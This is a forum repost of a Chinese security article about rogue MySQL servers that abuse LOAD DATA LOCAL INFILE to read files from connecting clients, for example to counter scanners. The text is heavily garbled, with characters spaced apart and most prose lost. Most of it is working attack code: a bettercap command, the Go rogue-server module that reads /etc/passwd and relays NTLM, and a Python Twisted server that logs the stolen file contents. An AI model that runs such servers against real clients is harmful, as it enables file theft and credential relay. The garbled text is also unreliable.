[13407] 2018-11-12_从MySQL出发的反击之路

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2018-11-12_从MySQL出发的反击之路 M y S Q L F r e e B u f   2 0 1 8 - 1 1 - 1 2   4 0 h u o   l i g h t l e s s     R e a d   M y S Q L   C l i e n t ' s   F i l e 0 x 0 0         M y S Q L   S S L   M y S Q L     M y S Q L     S Q L         l i g h t l e s s   h i ~           O K     h i ~           O K         M y S Q L   使 M y S Q L   h i ~     . M L S R C L O A D   D A T A   I N F I L E L O A D   D A T A d a t a . c s v t e s t d a t a . c s v b a l a b a l d a t a . c s v t e s t / e t c / p a s s w d b a l a b a l / e t c / p a s s w d
O K       0 x 0 1   B e t t e r c a p     M y S Q L       W i k i   使   m y s q l _ s e r v e r . g o / e t c / p a s s w d b a l a b a l / e t c / p a s s w d $   s u d o   b e t t e r c a p   - e v a l   " s e t   m y s q l . s e r v e r . i n f i l e   / e t c / h o s t s ;   m y s q l . s e r v e r   o n " p a c k a g e   m o d u l e s i m p o r t   (         " b u f i o "         " b y t e s "         " f m t "         " i o / i o u t i l "         " n e t "         " s t r i n g s "         " g i t h u b . c o m / b e t t e r c a p / b e t t e r c a p / l o g "         " g i t h u b . c o m / b e t t e r c a p / b e t t e r c a p / p a c k e t s "         " g i t h u b . c o m / b e t t e r c a p / b e t t e r c a p / s e s s i o n "         " g i t h u b . c o m / e v i l s o c k e t / i s l a z y / t u i " ) t y p e   M y S Q L S e r v e r   s t r u c t   {         s e s s i o n . S e s s i o n M o d u l e         a d d r e s s     * n e t . T C P A d d r         l i s t e n e r   * n e t . T C P L i s t e n e r         i n f i l e       s t r i n g         o u t f i l e     s t r i n g } f u n c   N e w M y S Q L S e r v e r ( s   * s e s s i o n . S e s s i o n )   * M y S Q L S e r v e r   {         m y s q l   : =   & M y S Q L S e r v e r {                 S e s s i o n M o d u l e :   s e s s i o n . N e w S e s s i o n M o d u l e ( " m y s q l . s e r v e r " ,   s ) ,         }         m y s q l . A d d P a r a m ( s e s s i o n . N e w S t r i n g P a r a m e t e r ( " m y s q l . s e r v e r . i n f i l e " ,                 " / e t c / p a s s w d " ,                 " " ,                 " F i l e   y o u   w a n t   t o   r e a d .   U N C   p a t h s   a r e   a l s o   s u p p o r t e d . " ) )         m y s q l . A d d P a r a m ( s e s s i o n . N e w S t r i n g P a r a m e t e r ( " m y s q l . s e r v e r . o u t f i l e " ,                 " " ,                 " " ,                 " I f   f i l l e d ,   t h e   I N F I L E   b u f f e r   w i l l   b e   s a v e d   t o   t h i s   p a t h   i n s t e a d   o f   b e i n g   l o g g e d . " ) )         m y s q l . A d d P a r a m ( s e s s i o n . N e w S t r i n g P a r a m e t e r ( " m y s q l . s e r v e r . a d d r e s s " ,                 s e s s i o n . P a r a m I f a c e A d d r e s s ,                 s e s s i o n . I P v 4 V a l i d a t o r ,                 " A d d r e s s   t o   b i n d   t h e   m y s q l   s e r v e r   t o . " ) )         m y s q l . A d d P a r a m ( s e s s i o n . N e w I n t P a r a m e t e r ( " m y s q l . s e r v e r . p o r t " ,                 " 3 3 0 6 " ,                 " P o r t   t o   b i n d   t h e   m y s q l   s e r v e r   t o . " ) )         m y s q l . A d d H a n d l e r ( s e s s i o n . N e w M o d u l e H a n d l e r ( " m y s q l . s e r v e r   o n " ,   " " ,                 " S t a r t   m y s q l   s e r v e r . " ,                 f u n c ( a r g s   [ ] s t r i n g )   e r r o r   {                         r e t u r n   m y s q l . S t a r t ( )                 } ) )         m y s q l . A d d H a n d l e r ( s e s s i o n . N e w M o d u l e H a n d l e r ( " m y s q l . s e r v e r   o f f " ,   " " ,                 " S t o p   m y s q l   s e r v e r . " ,                 f u n c ( a r g s   [ ] s t r i n g )   e r r o r   {                         r e t u r n   m y s q l . S t o p ( )                 } ) )         r e t u r n   m y s q l } f u n c   ( m y s q l   * M y S Q L S e r v e r )   N a m e ( )   s t r i n g   {         r e t u r n   " m y s q l . s e r v e r " }
f u n c   ( m y s q l   * M y S Q L S e r v e r )   D e s c r i p t i o n ( )   s t r i n g   {         r e t u r n   " A   s i m p l e   R o g u e   M y S Q L   s e r v e r ,   t o   b e   u s e d   t o   e x p l o i t   L O C A L   I N F I L E   a n d   r e a d   a r b i t r a r y   f i l e s   f r o m   t h e   c l i e n t . " } f u n c   ( m y s q l   * M y S Q L S e r v e r )   A u t h o r ( )   s t r i n g   {         r e t u r n   " B e r n a r d o   R o d r i g u e s   ( h t t p s : / / t w i t t e r . c o m / b e r n a r d o m r ) " } f u n c   ( m y s q l   * M y S Q L S e r v e r )   C o n f i g u r e ( )   e r r o r   {         v a r   e r r   e r r o r         v a r   a d d r e s s   s t r i n g         v a r   p o r t   i n t         i f   m y s q l . R u n n i n g ( )   {                 r e t u r n   s e s s i o n . E r r A l r e a d y S t a r t e d         }   e l s e   i f   e r r ,   m y s q l . i n f i l e   =   m y s q l . S t r i n g P a r a m ( " m y s q l . s e r v e r . i n f i l e " ) ;   e r r   ! =   n i l   {                 r e t u r n   e r r         }   e l s e   i f   e r r ,   m y s q l . o u t f i l e   =   m y s q l . S t r i n g P a r a m ( " m y s q l . s e r v e r . o u t f i l e " ) ;   e r r   ! =   n i l   {                 r e t u r n   e r r         }   e l s e   i f   e r r ,   a d d r e s s   =   m y s q l . S t r i n g P a r a m ( " m y s q l . s e r v e r . a d d r e s s " ) ;   e r r   ! =   n i l   {                 r e t u r n   e r r         }   e l s e   i f   e r r ,   p o r t   =   m y s q l . I n t P a r a m ( " m y s q l . s e r v e r . p o r t " ) ;   e r r   ! =   n i l   {                 r e t u r n   e r r         }   e l s e   i f   m y s q l . a d d r e s s ,   e r r   =   n e t . R e s o l v e T C P A d d r ( " t c p " ,   f m t . S p r i n t f ( " % s : % d " ,   a d d r e s s ,   p o r t ) ) ;   e r r   ! =   n i l   {                 r e t u r n   e r r         }   e l s e   i f   m y s q l . l i s t e n e r ,   e r r   =   n e t . L i s t e n T C P ( " t c p " ,   m y s q l . a d d r e s s ) ;   e r r   ! =   n i l   {                 r e t u r n   e r r         }         r e t u r n   n i l } f u n c   ( m y s q l   * M y S Q L S e r v e r )   S t a r t ( )   e r r o r   {         i f   e r r   : =   m y s q l . C o n f i g u r e ( ) ;   e r r   ! =   n i l   {                 r e t u r n   e r r         }         r e t u r n   m y s q l . S e t R u n n i n g ( t r u e ,   f u n c ( )   {                 l o g . I n f o ( " [ % s ]   s e r v e r   s t a r t i n g   o n   a d d r e s s   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   m y s q l . a d d r e s s )                 f o r   m y s q l . R u n n i n g ( )   {                         i f   c o n n ,   e r r   : =   m y s q l . l i s t e n e r . A c c e p t T C P ( ) ;   e r r   ! =   n i l   {                                 l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   a c c e p t i n g   t c p   c o n n e c t i o n :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                 c o n t i n u e                         }   e l s e   {                                 d e f e r   c o n n . C l o s e ( )                                 / /   T O D O :   i n c l u d e   b i n a r y   s u p p o r t   a n d   f i l e s   >   1 6 k b                                 c l i e n t A d d r e s s   : =   s t r i n g s . S p l i t ( c o n n . R e m o t e A d d r ( ) . S t r i n g ( ) ,   " : " ) [ 0 ]                                 r e a d B u f f e r   : =   m a k e ( [ ] b y t e ,   1 6 3 8 4 )                                 r e a d e r   : =   b u f i o . N e w R e a d e r ( c o n n )                                 r e a d   : =   0                                 l o g . I n f o ( " [ % s ]   c o n n e c t i o n   f r o m   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   c l i e n t A d d r e s s )                                 i f   _ ,   e r r   : =   c o n n . W r i t e ( p a c k e t s . M y S Q L G r e e t i n g ) ;   e r r   ! =   n i l   {                                         l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   w r i t i n g   s e r v e r   g r e e t i n g :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                         c o n t i n u e                                 }   e l s e   i f   r e a d ,   e r r   =   r e a d e r . R e a d ( r e a d B u f f e r ) ;   e r r   ! =   n i l   {                                         l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   r e a d i n g   c l i e n t   m e s s a g e :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                         c o n t i n u e                                 }                                 / /   p a r s e   c l i e n t   c a p a b i l i t i e s   a n d   v a l i d a t e   c o n n e c t i o n                                 / /   T O D O :   p a r s e   m y s q l   c o n n e c t i o n s   p r o p e r l y   a n d                                 / /               d i s p l a y   a d d i t i o n a l   c o n n e c t i o n   a t t r i b u t e s                                 c a p a b i l i t i e s   : =   f m t . S p r i n t f ( " % 0 8 b " ,   ( i n t ( u i n t 3 2 ( r e a d B u f f e r [ 4 ] )   |   u i n t 3 2 ( r e a d B u f f e r [ 5 ] ) < < 8 ) ) )                                 l o a d D a t a   : =   s t r i n g ( c a p a b i l i t i e s [ 8 ] )                                 u s e r n a m e   : =   s t r i n g ( b y t e s . S p l i t ( r e a d B u f f e r [ 3 6 : ] ,   [ ] b y t e { 0 } ) [ 0 ] )                                 l o g . I n f o ( " [ % s ]   c a n   u s e   L O A D   D A T A   L O C A L :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   l o a d D a t a )                                 l o g . I n f o ( " [ % s ]   l o g i n   r e q u e s t   u s e r n a m e :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   t u i . B o l d ( u s e r n a m e ) )                                 i f   _ ,   e r r   : =   c o n n . W r i t e ( p a c k e t s . M y S Q L F i r s t R e s p o n s e O K ) ;   e r r   ! =   n i l   {                                         l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   w r i t i n g   s e r v e r   f i r s t   r e s p o n s e   o k :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                         c o n t i n u e                                 }   e l s e   i f   _ ,   e r r   : =   r e a d e r . R e a d ( r e a d B u f f e r ) ;   e r r   ! =   n i l   {                                         l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   r e a d i n g   c l i e n t   m e s s a g e :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                         c o n t i n u e                                 }   e l s e   i f   _ ,   e r r   : =   c o n n . W r i t e ( p a c k e t s . M y S Q L G e t F i l e ( m y s q l . i n f i l e ) ) ;   e r r   ! =   n i l   {                                         l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   w r i t i n g   s e r v e r   g e t   f i l e   r e q u e s t :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                         c o n t i n u e                                 }   e l s e   i f   r e a d ,   e r r   =   r e a d e r . R e a d ( r e a d B u f f e r ) ;   e r r   ! =   n i l   {                                         l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   r e a d i n d   b u f f e r :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                         c o n t i n u e                                 }                                 i f   s t r i n g s . H a s P r e f i x ( m y s q l . i n f i l e ,   " " )   {                                         l o g . I n f o ( " [ % s ]   N T L M   f r o m   ' % s '   r e l a y e d   t o   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   c l i e n t A d d r e s s ,   m y s q l . i n f i l e )
  s e r v e r     P y t h o n     r o g u e m y s q l s e r v e r . p y   B e t t e r c a p   0 x 0 2   P y t h o n     T C P     T w i s t e d     T C P     S c r a p y     T w i s t e d     B e t t e r c a p     M y S Q L     G r e e t i n g   F i r s t R e s p o n s e O K   R e a d F i l e     S e c o n d R e s p o n s e O K   T w i s t e d                                         l o g . I n f o ( " [ % s ]   N T L M   f r o m   ' % s '   r e l a y e d   t o   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   c l i e n t A d d r e s s ,   m y s q l . i n f i l e )                                 }   e l s e   i f   f i l e S i z e   : =   r e a d   -   9 ;   f i l e S i z e   <   4   {                                         l o g . W a r n i n g ( " [ % s ]   u n p e x p e c t e d   b u f f e r   s i z e   % d " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   r e a d )                                 }   e l s e   {                                         l o g . I n f o ( " [ % s ]   r e a d   f i l e   (   % s   )   i s   % d   b y t e s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   m y s q l . i n f i l e ,   f i l e S i z e )                                         f i l e D a t a   : =   r e a d B u f f e r [ 4   :   r e a d - 4 ]                                         i f   m y s q l . o u t f i l e   = =   " "   {                                                 l o g . I n f o ( " n % s " ,   s t r i n g ( f i l e D a t a ) )                                         }   e l s e   {                                                 l o g . I n f o ( " [ % s ]   s a v i n g   t o   % s   . . . " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   m y s q l . o u t f i l e )                                                 i f   e r r   : =   i o u t i l . W r i t e F i l e ( m y s q l . o u t f i l e ,   f i l e D a t a ,   0 7 5 5 ) ;   e r r   ! =   n i l   {                                                         l o g . W a r n i n g ( " [ % s ]   e r r o r   w h i l e   s a v i n g   t h e   f i l e :   % s " ,   t u i . G r e e n ( " m y s q l . s e r v e r " ) ,   e r r )                                                 }                                         }                                 }                                 c o n n . W r i t e ( p a c k e t s . M y S Q L S e c o n d R e s p o n s e O K )                         }                 }         } ) } f u n c   ( m y s q l   * M y S Q L S e r v e r )   S t o p ( )   e r r o r   {         r e t u r n   m y s q l . S e t R u n n i n g ( f a l s e ,   f u n c ( )   {                 d e f e r   m y s q l . l i s t e n e r . C l o s e ( )         } ) }
c l a s s   M y S Q L P r o t o c o l ( P r o t o c o l ) :         " " "         M y S Q L         " " "         G R E E T I N G ,   F I R S T _ R E S P ,   S E C O N D _ R E S P ,   F I L E _ R E A D   =   r a n g e ( 4 )         S T A T E   =   {                 G R E E T I N G :   ' G R E E T I N G ' ,                 F I R S T _ R E S P :   ' F I R S T _ R E S P ' ,                 S E C O N D _ R E S P :   ' S E C O N D _ R E S P ' ,                 F I L E _ R E A D :   ' F I L E _ R E A D ' ,         }         d e f   _ _ i n i t _ _ ( s e l f ) :                 s u p e r ( M y S Q L P r o t o c o l ,   s e l f ) . _ _ i n i t _ _ ( )                 s e l f . s t a t e   =   s e l f . G R E E T I N G                 s e l f . l o g g e r   =   L o g g e r ( _ _ n a m e _ _ ) . g e t _ l o g g e r ( )         d e f   c o n n e c t i o n M a d e ( s e l f ) :                 m s g   =   f ' G o t   a   n e w   c o n n e c t i o n   f r o m   { s e l f . t r a n s p o r t . h o s t n a m e } '                 s e l f . l o g g e r . i n f o ( m s g )                 #   G r e e t i n g                 m y s q l _ g r e e t i n g   =   b y t e s . f r o m h e x (                         ' 5 b 0 0 0 0 0 0 0 a 3 5 2 e 3 6 2 e 3 2 3 8 2 d 3 0 7 5 6 2 7 5 6 e 7 4 7 5 3 0 2 e 3 1 3 4 2 e 3 0 3 4 2 e 3 1 0 0 2 d 0 0 0 0 0 0 4 0 3 f 5 9 2 6 4 b 2 b 3 4 6 0 0 0 f f f 7 0 8 0 2 0 0 7 f 8 0 1 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 8 6 9 5 9 5 f 5 2 5 f 6 3 5 5 6 0 6 4 5 3 5 2 0 0 6 d 7 9 7 3 7 1 6 c 5 f 6 e 6 1 7 4 6 9 7 6 6 5 5 f 7 0 6 1 7 3 7 3 7 7 6 f 7 2 6 4 0 0 '                 )                 i f   s e l f . s t a t e   = =   s e l f . G R E E T I N G :                         #     G R E E T I N G                           s e l f . t r a n s p o r t . w r i t e ( m y s q l _ g r e e t i n g )                         s e l f . s t a t e   =   s e l f . F I R S T _ R E S P         d e f   c o n n e c t i o n L o s t ( s e l f ,   r e a s o n = c o n n e c t i o n D o n e ) :                 m s g   =   f ' { s e l f . t r a n s p o r t . h o s t n a m e }   d i s c o n n e c t e d '                 s e l f . l o g g e r . i n f o ( m s g )         d e f   d a t a R e c e i v e d ( s e l f ,   d a t a ) :                 f i l e n a m e s   =   (                         ' / e t c / p a s s w d ' ,                         ' / e t c / h o s t s '                 )                 #   F i r s t   r e s p o n s e   o k                 f i r s t _ r e s p o n s e _ o k   =   b y t e s . f r o m h e x ( ' 0 7 0 0 0 0 0 2 0 0 0 0 0 0 0 2 0 0 0 0 0 0 ' )                 s e c o n d _ r e s p o n s e _ o k   =   b y t e s . f r o m h e x ( ' 0 7 0 0 0 0 0 4 0 0 0 0 0 0 0 2 0 0 0 0 0 0 ' )                 #   S e r v e r   r e s p o n s e   w i t h   e v i l                 f i l e n a m e   =   r a n d o m . c h o i c e ( f i l e n a m e s )                 d u m p _ f i l e   =   c h r ( l e n ( f i l e n a m e )   +   1 ) . e n c o d e ( )   +   b y t e s . f r o m h e x ( ' 0 0 0 0 0 1 f b ' )   +   f i l e n a m e . e n c o d e ( )                 s e l f . l o g g e r . d e b u g ( f ' C l i e n t   s t a t e :   { s e l f . S T A T E [ s e l f . s t a t e ] } ,   d a t a   r e c e i v e d :   { d a t a } ' )                 i f   s e l f . s t a t e   = =   s e l f . F I R S T _ R E S P :                         #                           s e l f . t r a n s p o r t . w r i t e ( f i r s t _ r e s p o n s e _ o k )                         s e l f . s t a t e   =   s e l f . F I L E _ R E A D                         r e t u r n                 e l i f   s e l f . s t a t e   = =   s e l f . F I L E _ R E A D :                         #                           s e l f . l o g g e r . d e b u g ( f ' T r y i n g   t o   r e a d   { f i l e n a m e } ,   s e n d i n g   d a t a :   { d u m p _ f i l e } ' )                         s e l f . t r a n s p o r t . w r i t e ( d u m p _ f i l e )                         s e l f . s t a t e   =   s e l f . S E C O N D _ R E S P                         r e t u r n                 e l i f   s e l f . s t a t e   = =   s e l f . S E C O N D _ R E S P :                         #                             f i l e _ l e n g t h   =   l e n ( d a t a )                         t r y :                                 f i l e _ c o n t e n t   =   d a t a [ 4 :   f i l e _ l e n g t h   -   4 ] . d e c o d e ( )                         e x c e p t   U n i c o d e D e c o d e E r r o r :                                 f i l e _ c o n t e n t   =   d a t a [ 4 :   f i l e _ l e n g t h   -   4 ]                         s e l f . l o g g e r . i n f o ( f ' F i l e   r e c e i v e d :   n { f i l e _ c o n t e n t } ' )                         i f   l e n ( f i l e _ c o n t e n t )   >   5 :                                 w i t h   o p e n ( o s . p a t h . j o i n ( o s . p a t h . d i r n a m e ( _ _ f i l e _ _ ) ,   ' . . / l o g s / m y s q l _ f i l e . l o g ' ) ,   ' a + ' ,   e n c o d i n g = ' u t f - 8 ' )   a s   f :                                         f . w r i t e ( f ' { s e l f . t r a n s p o r t . h o s t n a m e } n ' )                                         f . w r i t e ( f ' { f i l e _ c o n t e n t } n n n ' )                         s e l f . t r a n s p o r t . w r i t e ( s e c o n d _ r e s p o n s e _ o k )                         s e l f . t r a n s p o r t . l o s e C o n n e c t i o n ( )                         r e t u r n                 e l s e :                         s e l f . l o g g e r . w a r n i n g ( f ' U n k n o w n   c l i e n t   s t a t e :   { s e l f . s t a t e } ' )                         s e l f . t r a n s p o r t . l o s e C o n n e c t i o n ( )                         r e t u r n
T w i s t e d     p r o t o c o l     f a c t o r y   0 x 0 3   I t ' s   a   t r a p !   3 3 0 6     p a y l o a d   G i t H u b     G i t H u b   M y S Q L     G i t H u b   M a c     M y S Q L       广 - - e n a b l e - l o c a l - i n f i l e
0 x 0 4     A W V S   8     1 0   0 x F F   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 0 6 4 8 8 h t t p s : / / l i g h t l e s s . m e / a r c h i v e s / r e a d - m y s q l - c l i e n t - f i l e . h t m l h t t p s : / / g i t h u b . c o m / b e t t e r c a p / b e t t e r c a p h t t p : / / r u s s i a n s e c u r i t y . e x p e r t / 2 0 1 6 / 0 4 / 2 0 / m y s q l - c o n n e c t - f i l e - r e a d / * M L S R C F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则